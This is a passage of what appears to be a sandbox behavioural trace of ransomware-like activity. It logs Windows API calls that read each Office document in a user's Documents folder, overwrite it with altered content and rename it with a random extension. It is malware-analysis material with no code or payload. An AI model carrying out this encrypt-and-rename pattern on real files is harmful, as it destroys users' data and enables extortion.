lpBuffer=0x29342a8, nNumberOfBytesToRead=0x60f6, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29342a8*, lpNumberOfBytesRead=0x21d4d8*=0x60f6, lpOverlapped=0x0) returned 1 [0152.436] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx", lpFilePart=0x0) returned 0x2b [0152.436] SetErrorMode (uMode=0x1) returned 0x0 [0152.436] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\fyynonjqg.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.438] GetFileType (hFile=0x1d0) returned 0x1 [0152.438] SetErrorMode (uMode=0x0) returned 0x1 [0152.438] GetFileType (hFile=0x1d0) returned 0x1 [0152.438] WriteFile (in: hFile=0x1d0, lpBuffer=0x2838870*, nNumberOfBytesToWrite=0x6100, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2838870*, lpNumberOfBytesWritten=0x21d558*=0x6100, lpOverlapped=0x0) returned 1 [0152.451] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx", lpFilePart=0x0) returned 0x2b [0152.452] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx.wzx56f", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx.wzx56f", lpFilePart=0x0) returned 0x32 [0152.452] SetErrorMode (uMode=0x1) returned 0x0 [0152.452] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\fyynonjqg.pptx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eaa9f50, ftCreationTime.dwHighDateTime=0x1d85182, ftLastAccessTime.dwLowDateTime=0x122803a0, ftLastAccessTime.dwHighDateTime=0x1d8afc5, ftLastWriteTime.dwLowDateTime=0x57592c40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x6100)) returned 1 [0152.452] SetErrorMode (uMode=0x0) returned 0x1 [0152.452] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\fyynonjqg.pptx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx.wzx56f" (normalized: "c:\\users\\keecfmwgj\\documents\\fyynonjqg.pptx.wzx56f")) returned 1 [0152.453] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx", lpFilePart=0x0) returned 0x27 [0152.454] SetErrorMode (uMode=0x1) returned 0x0 [0152.454] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\lyw0j.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.454] GetFileType (hFile=0x1d0) returned 0x1 [0152.454] SetErrorMode (uMode=0x0) returned 0x1 [0152.454] GetFileType (hFile=0x1d0) returned 0x1 [0152.454] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x5744 [0152.454] ReadFile (in: hFile=0x1d0, lpBuffer=0x283f7d8, nNumberOfBytesToRead=0x5744, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x283f7d8*, lpNumberOfBytesRead=0x21d4d8*=0x5744, lpOverlapped=0x0) returned 1 [0152.474] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx", lpFilePart=0x0) returned 0x27 [0152.474] SetErrorMode (uMode=0x1) returned 0x0 [0152.474] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\lyw0j.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.476] GetFileType (hFile=0x1d0) returned 0x1 [0152.476] SetErrorMode (uMode=0x0) returned 0x1 [0152.476] GetFileType (hFile=0x1d0) returned 0x1 [0152.476] WriteFile (in: hFile=0x1d0, lpBuffer=0x293aa88*, nNumberOfBytesToWrite=0x5750, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x293aa88*, lpNumberOfBytesWritten=0x21d558*=0x5750, lpOverlapped=0x0) returned 1 [0152.478] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx", lpFilePart=0x0) returned 0x27 [0152.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx.0o4jdf", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx.0o4jdf", lpFilePart=0x0) returned 0x2e [0152.480] SetErrorMode (uMode=0x1) returned 0x0 [0152.480] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\lyw0j.docx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7ce70, ftCreationTime.dwHighDateTime=0x1d85f91, ftLastAccessTime.dwLowDateTime=0xd30d24d0, ftLastAccessTime.dwHighDateTime=0x1d8abf9, ftLastWriteTime.dwLowDateTime=0x575def00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5750)) returned 1 [0152.480] SetErrorMode (uMode=0x0) returned 0x1 [0152.480] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\lyw0j.docx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\lyw0j.docx.0o4jdf" (normalized: "c:\\users\\keecfmwgj\\documents\\lyw0j.docx.0o4jdf")) returned 1 [0152.481] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx", lpFilePart=0x0) returned 0x34 [0152.481] SetErrorMode (uMode=0x1) returned 0x0 [0152.482] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\ve9sxdohpkrtg7q3g9.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.482] GetFileType (hFile=0x1d0) returned 0x1 [0152.482] SetErrorMode (uMode=0x0) returned 0x1 [0152.482] GetFileType (hFile=0x1d0) returned 0x1 [0152.482] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x11b5 [0152.482] ReadFile (in: hFile=0x1d0, lpBuffer=0x2941050, nNumberOfBytesToRead=0x11b5, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2941050*, lpNumberOfBytesRead=0x21d4d8*=0x11b5, lpOverlapped=0x0) returned 1 [0152.557] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx", lpFilePart=0x0) returned 0x34 [0152.557] SetErrorMode (uMode=0x1) returned 0x0 [0152.557] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\ve9sxdohpkrtg7q3g9.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.559] GetFileType (hFile=0x1d0) returned 0x1 [0152.559] SetErrorMode (uMode=0x0) returned 0x1 [0152.559] GetFileType (hFile=0x1d0) returned 0x1 [0152.559] WriteFile (in: hFile=0x1d0, lpBuffer=0x2833d30*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2833d30*, lpNumberOfBytesWritten=0x21d558*=0x11c0, lpOverlapped=0x0) returned 1 [0152.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx", lpFilePart=0x0) returned 0x34 [0152.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx.uz4ecp", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx.uz4ecp", lpFilePart=0x0) returned 0x3b [0152.561] SetErrorMode (uMode=0x1) returned 0x0 [0152.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\ve9sxdohpkrtg7q3g9.pptx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3125150, ftCreationTime.dwHighDateTime=0x1d8724d, ftLastAccessTime.dwLowDateTime=0x49e7d500, ftLastAccessTime.dwHighDateTime=0x1d872ca, ftLastWriteTime.dwLowDateTime=0x576c3740, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x11c0)) returned 1 [0152.561] SetErrorMode (uMode=0x0) returned 0x1 [0152.561] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\ve9sxdohpkrtg7q3g9.pptx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\ve9sXdoHpkRTg7q3G9.pptx.uz4ecp" (normalized: "c:\\users\\keecfmwgj\\documents\\ve9sxdohpkrtg7q3g9.pptx.uz4ecp")) returned 1 [0152.562] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx", lpFilePart=0x0) returned 0x2b [0152.562] SetErrorMode (uMode=0x1) returned 0x0 [0152.563] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\x ozq8jbx.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.563] GetFileType (hFile=0x1d0) returned 0x1 [0152.563] SetErrorMode (uMode=0x0) returned 0x1 [0152.563] GetFileType (hFile=0x1d0) returned 0x1 [0152.563] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x10ff0 [0152.563] ReadFile (in: hFile=0x1d0, lpBuffer=0x2835dc8, nNumberOfBytesToRead=0x10ff0, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2835dc8*, lpNumberOfBytesRead=0x21d4d8*=0x10ff0, lpOverlapped=0x0) returned 1 [0152.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx", lpFilePart=0x0) returned 0x2b [0152.585] SetErrorMode (uMode=0x1) returned 0x0 [0152.585] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\x ozq8jbx.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.587] GetFileType (hFile=0x1d0) returned 0x1 [0152.587] SetErrorMode (uMode=0x0) returned 0x1 [0152.587] GetFileType (hFile=0x1d0) returned 0x1 [0152.587] WriteFile (in: hFile=0x1d0, lpBuffer=0x2948be8*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2948be8*, lpNumberOfBytesWritten=0x21d558*=0x11000, lpOverlapped=0x0) returned 1 [0152.589] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx", lpFilePart=0x0) returned 0x2b [0152.589] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx.kdh8tn", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx.kdh8tn", lpFilePart=0x0) returned 0x32 [0152.589] SetErrorMode (uMode=0x1) returned 0x0 [0152.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\x ozq8jbx.docx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca3cc60, ftCreationTime.dwHighDateTime=0x1d8632e, ftLastAccessTime.dwLowDateTime=0xf2a2a80, ftLastAccessTime.dwHighDateTime=0x1d89098, ftLastWriteTime.dwLowDateTime=0x5770fa00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1 [0152.590] SetErrorMode (uMode=0x0) returned 0x1 [0152.590] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\x ozq8jbx.docx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\x Ozq8JBx.docx.kdh8tn" (normalized: "c:\\users\\keecfmwgj\\documents\\x ozq8jbx.docx.kdh8tn")) returned 1 [0152.591] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx", lpFilePart=0x0) returned 0x32 [0152.591] SetErrorMode (uMode=0x1) returned 0x0 [0152.591] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\xy9pnil0lnohzvp4.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.591] GetFileType (hFile=0x1d0) returned 0x1 [0152.591] SetErrorMode (uMode=0x0) returned 0x1 [0152.591] GetFileType (hFile=0x1d0) returned 0x1 [0152.591] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x44ae [0152.592] ReadFile (in: hFile=0x1d0, lpBuffer=0x295aa80, nNumberOfBytesToRead=0x44ae, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x295aa80*, lpNumberOfBytesRead=0x21d4d8*=0x44ae, lpOverlapped=0x0) returned 1 [0152.676] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx", lpFilePart=0x0) returned 0x32 [0152.676] SetErrorMode (uMode=0x1) returned 0x0 [0152.676] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\xy9pnil0lnohzvp4.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.678] GetFileType (hFile=0x1d0) returned 0x1 [0152.678] SetErrorMode (uMode=0x0) returned 0x1 [0152.678] GetFileType (hFile=0x1d0) returned 0x1 [0152.678] WriteFile (in: hFile=0x1d0, lpBuffer=0x2856a48*, nNumberOfBytesToWrite=0x44b0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2856a48*, lpNumberOfBytesWritten=0x21d558*=0x44b0, lpOverlapped=0x0) returned 1 [0152.680] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx", lpFilePart=0x0) returned 0x32 [0152.680] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx.b0zv1t", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx.b0zv1t", lpFilePart=0x0) returned 0x39 [0152.680] SetErrorMode (uMode=0x1) returned 0x0 [0152.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\xy9pnil0lnohzvp4.docx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc195f9a0, ftCreationTime.dwHighDateTime=0x1d88ccf, ftLastAccessTime.dwLowDateTime=0x52447ac0, ftLastAccessTime.dwHighDateTime=0x1d895d2, ftLastWriteTime.dwLowDateTime=0x577ce0e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x44b0)) returned 1 [0152.690] SetErrorMode (uMode=0x0) returned 0x1 [0152.690] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\xy9pnil0lnohzvp4.docx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\Xy9pNIL0lNohzVp4.docx.b0zv1t" (normalized: "c:\\users\\keecfmwgj\\documents\\xy9pnil0lnohzvp4.docx.b0zv1t")) returned 1 [0152.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx", lpFilePart=0x0) returned 0x32 [0152.693] SetErrorMode (uMode=0x1) returned 0x0 [0152.693] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\xzzxf rzozd o7cf.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.693] GetFileType (hFile=0x1d0) returned 0x1 [0152.693] SetErrorMode (uMode=0x0) returned 0x1 [0152.693] GetFileType (hFile=0x1d0) returned 0x1 [0152.693] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x2df8 [0152.693] ReadFile (in: hFile=0x1d0, lpBuffer=0x285bde0, nNumberOfBytesToRead=0x2df8, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x285bde0*, lpNumberOfBytesRead=0x21d4d8*=0x2df8, lpOverlapped=0x0) returned 1 [0152.729] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx", lpFilePart=0x0) returned 0x32 [0152.729] SetErrorMode (uMode=0x1) returned 0x0 [0152.729] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\xzzxf rzozd o7cf.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.730] GetFileType (hFile=0x1d0) returned 0x1 [0152.730] SetErrorMode (uMode=0x0) returned 0x1 [0152.730] GetFileType (hFile=0x1d0) returned 0x1 [0152.730] WriteFile (in: hFile=0x1d0, lpBuffer=0x294a1f8*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x294a1f8*, lpNumberOfBytesWritten=0x21d558*=0x2e00, lpOverlapped=0x0) returned 1 [0152.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx", lpFilePart=0x0) returned 0x32 [0152.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx.pfb411", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx.pfb411", lpFilePart=0x0) returned 0x39 [0152.731] SetErrorMode (uMode=0x1) returned 0x0 [0152.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\xzzxf rzozd o7cf.pptx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feba1c0, ftCreationTime.dwHighDateTime=0x1d84870, ftLastAccessTime.dwLowDateTime=0x5e70c190, ftLastAccessTime.dwHighDateTime=0x1d8b897, ftLastWriteTime.dwLowDateTime=0x57866660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x2e00)) returned 1 [0152.731] SetErrorMode (uMode=0x0) returned 0x1 [0152.732] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\xzzxf rzozd o7cf.pptx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\xzzxF rzoZd o7Cf.pptx.pfb411" (normalized: "c:\\users\\keecfmwgj\\documents\\xzzxf rzozd o7cf.pptx.pfb411")) returned 1 [0152.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx", lpFilePart=0x0) returned 0x34 [0152.734] SetErrorMode (uMode=0x1) returned 0x0 [0152.734] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\y9mbxacr2xee-izjw3.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.734] GetFileType (hFile=0x1d0) returned 0x1 [0152.734] SetErrorMode (uMode=0x0) returned 0x1 [0152.734] GetFileType (hFile=0x1d0) returned 0x1 [0152.734] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x42e0 [0152.734] ReadFile (in: hFile=0x1d0, lpBuffer=0x294dee8, nNumberOfBytesToRead=0x42e0, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x294dee8*, lpNumberOfBytesRead=0x21d4d8*=0x42e0, lpOverlapped=0x0) returned 1 [0152.796] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx", lpFilePart=0x0) returned 0x34 [0152.796] SetErrorMode (uMode=0x1) returned 0x0 [0152.796] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\y9mbxacr2xee-izjw3.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.798] GetFileType (hFile=0x1d0) returned 0x1 [0152.798] SetErrorMode (uMode=0x0) returned 0x1 [0152.798] GetFileType (hFile=0x1d0) returned 0x1 [0152.798] WriteFile (in: hFile=0x1d0, lpBuffer=0x284fa18*, nNumberOfBytesToWrite=0x42f0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x284fa18*, lpNumberOfBytesWritten=0x21d558*=0x42f0, lpOverlapped=0x0) returned 1 [0152.799] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx", lpFilePart=0x0) returned 0x34 [0152.799] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y9mBxacR2XeE-IZjW3.xlsx.4moc17", 